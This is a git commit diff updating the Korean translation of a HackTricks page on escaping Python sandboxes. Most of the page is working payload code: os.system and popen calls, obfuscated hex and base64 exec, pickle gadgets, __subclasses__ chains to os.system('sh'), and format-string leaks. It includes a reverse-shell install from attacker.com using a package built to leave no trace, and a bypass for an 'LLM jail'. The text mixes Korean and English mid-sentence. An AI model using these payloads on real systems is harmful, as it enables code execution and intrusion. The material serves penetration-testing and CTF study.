mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/acl-
This commit is contained in:
parent
a2451e20df
commit
9b3af9d11c
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
다음은 python sandbox 보호를 우회하고 임의의 명령을 실행하기 위한 몇 가지 트릭입니다.
|
||||
다음은 python sandbox 보호를 우회하고 arbitrary commands를 실행하기 위한 몇 가지 트릭입니다.
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
첫 번째로 알아야 할 것은 이미 import된 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 다음 라이브러리들 중 하나를 import할 수 있는지입니다:
|
||||
가장 먼저 확인해야 할 것은 이미 import된 라이브러리로 직접 코드를 실행할 수 있는지, 아니면 다음 라이브러리들을 import할 수 있는지 여부입니다:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
기억하라: _**open**_ 및 _**read**_ 함수는 python sandbox 내부에서 **파일을 읽고**, **실행할 코드**를 **작성**하는 데 유용할 수 있다.
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **파일을 읽는 것** inside the python sandbox and to **코드를 작성**해서 **실행**하여 **bypass**할 수 있다는 것을 기억하세요.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 합니다.
|
||||
|
||||
Python은 **현재 디렉터리에서 먼저 라이브러리를 로드하려고 시도**한다 (다음 명령은 python이 어디에서 모듈을 로드하는지 출력한다): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python은 **현재 디렉토리에서 먼저 라이브러리를 로드하려고 합니다** (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
## 기본 설치된 python 패키지로 pickle sandbox 우회하기
|
||||
|
||||
### Default packages
|
||||
### 기본 패키지
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
참고: pickle로 python env가 시스템에 설치된 라이브러리를 **import arbitrary libraries** 하도록 만들 수 있다.\
|
||||
예를 들어, 다음 pickle은 로드되면 pip 라이브러리를 import하여 사용할 것이다:
|
||||
여기에서 **사전 설치된** 패키지 목록을 확인할 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html]\
|
||||
pickle에서는 python env가 시스템에 설치된 임의의 라이브러리를 **import**하도록 만들 수 있다는 점에 유의하세요.\
|
||||
예를 들어, 다음 pickle은 로드되면 pip 라이브러리를 import하여 사용합니다:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
pickle이 어떻게 작동하는지에 대한 자세한 정보는 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
|
||||
트릭 공유: **@isHaacK**
|
||||
이 트릭은 **@isHaacK**가 공유했습니다
|
||||
|
||||
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면 임의의 패키지를 설치하고 다음을 호출하여 reverse shell을 얻을 수 있습니다:
|
||||
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면, 임의의 패키지를 설치하고 다음 호출로 reverse shell을 얻을 수 있습니다:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **압축을 해제하고, `setup.py`를 수정하고, reverse shell에 사용할 IP를 넣어야 합니다**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> 이 패키지의 이름은 `Reverse`입니다. 그러나 reverse shell에서 빠져나올 때 설치의 나머지 과정이 실패하도록 특별히 제작되어, 떠날 때 **server에 추가적인 python package가 남지 않게 됩니다**.
|
||||
> 이 패키지는 `Reverse`라는 이름입니다. 다만 특별히 제작되어 reverse shell을 종료하면 나머지 설치가 실패하도록 되어 있으므로, 종료 시 서버에 추가적인 **python package가 설치된 상태로 남지 않습니다**.
|
||||
|
||||
## Eval-ing python code
|
||||
## Eval-ing python 코드
|
||||
|
||||
> [!WARNING]
|
||||
> exec는 멀티라인 문자열과 ";",를 허용하지만, eval는 허용하지 않는다는 점에 유의하세요 (walrus operator를 확인하세요)
|
||||
> exec은 멀티라인 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다 (walrus operator를 확인하세요)
|
||||
|
||||
특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 제한을 **bypass**할 수 있습니다:
|
||||
특정 문자가 금지되어 있다면 **hex/octal/B64** 표현을 사용하여 제약을 **bypass**할 수 있습니다:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### eval python code를 허용하는 다른 라이브러리들
|
||||
### python 코드를 eval할 수 있게 해주는 다른 라이브러리들
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
또한 PDF 생성기에서의 실제 샌드박스 평가기 탈출 사례도 참고하세요:
|
||||
또한 PDF 생성기에서의 실제 sandboxed evaluator escape 사례를 참조하세요:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이 취약점은 rl_safe_eval을 악용하여 평가된 속성(예: font color)으로부터 function.__globals__와 os.system에 접근하고, 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이는 rl_safe_eval을 악용하여 평가된 속성(예: 글꼴 색상)에서 function.__globals__와 os.system에 접근하고 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## 연산자 및 짧은 요령
|
||||
## 연산자와 간단한 요령
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
```
|
||||
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||
|
||||
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서 UFT-7은 겉보기의 sandbox 내에서 임의의 python 코드를 로드하고 실행하는 데 사용됩니다:
|
||||
이 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7이 명백한 샌드박스 안에서 임의의 python 코드를 로드하고 실행하는 데 사용됩니다:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,11 +156,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
다른 인코딩(예: `raw_unicode_escape` 및 `unicode_escape`)을 사용해 이를 우회하는 것도 가능합니다.
|
||||
다른 인코딩(예: `raw_unicode_escape` 및 `unicode_escape`)을 사용하여 이를 우회하는 것도 가능합니다.
|
||||
|
||||
## 호출 없이 Python 실행
|
||||
## Python에서 호출 없이 실행
|
||||
|
||||
만약 당신이 **호출을 허용하지 않는** python jail 안에 있다면, 여전히 **임의의 함수와 코드** 및 **명령어**를 실행할 수 있는 몇 가지 방법이 있습니다.
|
||||
만약 당신이 **doesn't allow you to make calls** 환경의 python jail에 있다면, 여전히 **execute arbitrary functions, code** 및 **commands**를 실행할 수 있는 방법들이 있습니다.
|
||||
|
||||
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -184,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE creating objects and overloading
|
||||
### RCE 객체 생성 및 오버로딩
|
||||
|
||||
해당 class를 **declare a class**하고 그 class의 **object**를 **create**할 수 있다면, 직접 호출할 필요 없이 **triggered**될 수 있는 다양한 **methods**를 **write/overwrite**할 수 있습니다.
|
||||
만약 **클래스를 선언**하고 그 클래스의 **객체를 생성할 수 있다면**, 직접 **호출할 필요 없이** **트리거될 수 있는** **다양한 메서드를 작성/덮어쓸 수 있습니다**.
|
||||
|
||||
#### RCE with custom classes
|
||||
#### RCE 사용자 정의 클래스를 이용한 방법
|
||||
|
||||
일부 **class methods**를 수정할 수 있으며 (_by overwriting existing class methods or creating a new class_) 이를 통해 직접 호출하지 않아도 **triggered**될 때 **execute arbitrary code**하도록 만들 수 있습니다.
|
||||
일부 **클래스 메서드**를 수정하여 (_기존 클래스 메서드를 덮어쓰거나 새 클래스를 생성하는 방식으로_) **트리거될 때** 직접 호출하지 않아도 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성하기
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성
|
||||
|
||||
metaclasses가 허용하는 핵심은 대상 클래스를 metaclass로 사용하는 새로운 클래스를 생성함으로써, **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**입니다.
|
||||
metaclasses가 가능하게 해주는 핵심은, 타깃 class를 metaclass로 하는 새로운 class를 만들어 생성자를 직접 호출하지 않고도 **make an instance of a class, without calling the constructor**할 수 있다는 점입니다.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### exceptions를 사용한 객체 생성
|
||||
#### 예외를 통해 객체 생성
|
||||
|
||||
**exception이 발생하면** **Exception**의 객체가 **생성됩니다** — 생성자를 직접 호출할 필요가 없습니다 (트릭 출처: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
예외가 **exception is triggered** 될 때, 생성자를 직접 호출하지 않아도 **Exception**의 객체가 **created** 됩니다(이 트릭은 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### builtins help & license로 파일 읽기
|
||||
### builtins 도움말 및 라이선스와 함께 파일 읽기
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,15 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기서는 마지막 섹션에 나온 다른 문자열 표현을 사용할 수도 있다는 점을 참고하세요):
|
||||
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기에서 마지막 섹션에 나온 다른 문자열 표현을 사용할 수도 있다는 점에 유의하세요):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Builtins 없음
|
||||
### 빌트인 없음
|
||||
|
||||
`__builtins__`가 없으면 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다. 왜냐하면 **모든 전역 함수**(예: `open`, `import`, `print`...)가 **로드되지 않기 때문입니다**.\
|
||||
하지만 **기본적으로 python은 많은 모듈을 메모리에 로드합니다**. 이러한 모듈들은 무해해 보일 수 있지만, 일부는 내부에 **위험한 기능을 포함**하고 있어 접근하면 심지어 **임의 코드 실행**을 얻을 수 있습니다.
|
||||
`__builtins__`이 없으면 **모든 전역 함수**(예: `open`, `import`, `print`...)가 로드되지 않기 때문에 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다.\
|
||||
하지만, **기본적으로 python은 많은 모듈을 메모리에 import**합니다. 이러한 모듈들은 겉으로 보기엔 무해해 보일 수 있지만, 그중 일부는 내부에 접근할 수 있는 위험한 기능들을 **함께 import**하고 있어 심지어 **arbitrary code execution**을 얻는 데 이용될 수 있습니다.
|
||||
|
||||
다음 예제들에서는 메모리에 로드된 이러한 "**benign**" 모듈들 중 일부를 어떻게 **abuse**하여 내부의 **dangerous** **functionalities**에 **access**하는지 볼 수 있습니다.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -365,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**아래에는 더 큰 함수가 있습니다**](#recursive-search-of-builtins-globals) 수십/**수백**의 **장소**에서 **builtins**를 찾을 수 있습니다.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 는 **builtins**를 찾을 수 있는 수십/**수백**의 **장소**를 찾아냅니다.
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -381,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globals와 locals
|
||||
|
||||
**`globals`**와 **`locals`**를 확인하면 접근 가능한 항목을 알 수 있다.
|
||||
**`globals`**와 **`locals`**을 확인하는 것은 어떤 항목에 접근할 수 있는지 알아내는 좋은 방법이다.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -407,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals)는 **globals**를 찾을 수 있는 수십/**수백**의 **장소**를 찾아주는 더 큰 함수입니다.
|
||||
|
||||
## 임의 실행 발견
|
||||
## Arbitrary Execution 발견
|
||||
|
||||
여기서는 **더 위험한 기능들이 로드되어 있는지** 쉽게 찾아내는 방법과 더 신뢰할 수 있는 exploits를 제안하려고 한다.
|
||||
여기서는 **더 위험한 기능들이 로드되었는지**를 쉽게 발견하는 방법을 설명하고, 보다 신뢰할 수 있는 exploits를 제안합니다.
|
||||
|
||||
#### 서브클래스에 접근하기 (bypasses)
|
||||
#### bypasses로 subclasses에 접근하기
|
||||
|
||||
이 기법에서 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는지**이다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용해서 수행했지만 **다른 가능한 방법들**이 있다:
|
||||
이 기술에서 가장 민감한 부분 중 하나는 **access the base subclasses**할 수 있는 능력입니다. 이전 예제들에서는 `''.__class__.__base__.__subclasses__()`를 사용해 수행했지만, **다른 가능한 방법들**이 있습니다:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -443,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### 로드된 위험한 라이브러리 찾기
|
||||
### 로딩된 위험한 라이브러리 찾기
|
||||
|
||||
예를 들어, 라이브러리 **`sys`** 를 사용하면 **임의의 라이브러리를 import할 수 있다는 것**을 알고 있다면, 내부에서 **`sys`를 import한 모든 로드된 모듈**을 검색할 수 있습니다:
|
||||
예를 들어, 라이브러리 **`sys`**로 **임의의 라이브러리를 import할 수 있다는 것을 알고 있다면**, 내부에서 **`sys`를 import한 로드된 모든 모듈**을 검색할 수 있습니다:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
많은 것들이 있지만, 명령을 실행하려면 **하나만 있으면 됩니다**:
|
||||
방법이 많지만, **명령을 실행하려면 하나만 있으면 됩니다**:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
우리는 **다른 라이브러리**로도, 그것들이 **명령을 실행**하는 데 사용될 수 있음을 알고 있으므로 같은 작업을 할 수 있습니다:
|
||||
우리는 **다른 라이브러리**가 **execute commands**에 사용될 수 있다는 것을 알고 있는 경우에도 동일한 작업을 수행할 수 있다:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -489,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
또한 어떤 모듈이 악성 라이브러리를 로드하고 있는지까지 검색할 수 있습니다:
|
||||
또한 어떤 모듈이 악성 라이브러리를 로드하고 있는지도 검색할 수 있습니다:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -508,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
또한, **other libraries**가 **invoke functions to execute commands**할 수 있다고 생각되면, 가능한 라이브러리들 내부에서 **filter by functions names**할 수도 있습니다:
|
||||
또한, 만약 **다른 라이브러리들**이 **함수를 호출해 명령을 실행할 수 있다고** 생각된다면, 가능한 라이브러리들 내부에서 **함수 이름으로 필터링**할 수도 있습니다:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -544,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Builtins, Globals...의 재귀 검색
|
||||
|
||||
> [!WARNING]
|
||||
> 이건 정말 **대단합니다**. 만약 **globals, builtins, open 같은 객체를 찾고 있거나** 어떤 객체든 찾고 싶다면, 이 스크립트를 사용해 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
|
||||
> 이건 정말 **대단합니다**. 만약 당신이 **globals, builtins, open 같은 객체를 찾고 있다면** 그냥 이 스크립트를 사용해 그 객체를 **찾을 수 있는 위치를 재귀적으로 찾아보세요.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -669,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
만약 **send**된 **string**이 python에서 **formatted**될 경우, `{}`를 사용해 **python internal information.**에 접근할 수 있습니다. 예를 들어 이전 예제들을 사용해 globals나 builtins에 접근할 수 있습니다.
|
||||
만약 포맷될 **문자열**을 **python**에 **전송**하면, `{}`를 사용해 **python 내부 정보**에 접근할 수 있습니다. 이전 예제들을 사용해 globals나 builtins에 접근할 수도 있습니다.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -689,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||
Note how you can **속성에 접근** in a normal way with a **점(dot)** like `people_obj.__init__` and **dict 요소** with **대괄호** without quotes `__globals__[CONFIG]`
|
||||
|
||||
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
Some other interesting characteristics from **format strings** is the possibility of **실행** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
또한, 클래스에서 **새로운 포매터를 구현할 수 있습니다**:
|
||||
또한 클래스에서 **code new formatters** 할 수 있습니다:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -709,7 +711,7 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**더 많은 예제는** **format** **string** 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
|
||||
**추가 예제**는 **format** **string** 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
|
||||
|
||||
> [!CAUTION]
|
||||
> 다음 페이지도 확인하세요 — gadgets that will r**ead sensitive information from Python internal objects**:
|
||||
@ -737,20 +739,21 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
출처: [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### format 문자열에서 RCE로 라이브러리 로딩
|
||||
### format에서 라이브러리 로딩으로 RCE 얻기
|
||||
|
||||
[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, python의 format string 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드할 수 있습니다.
|
||||
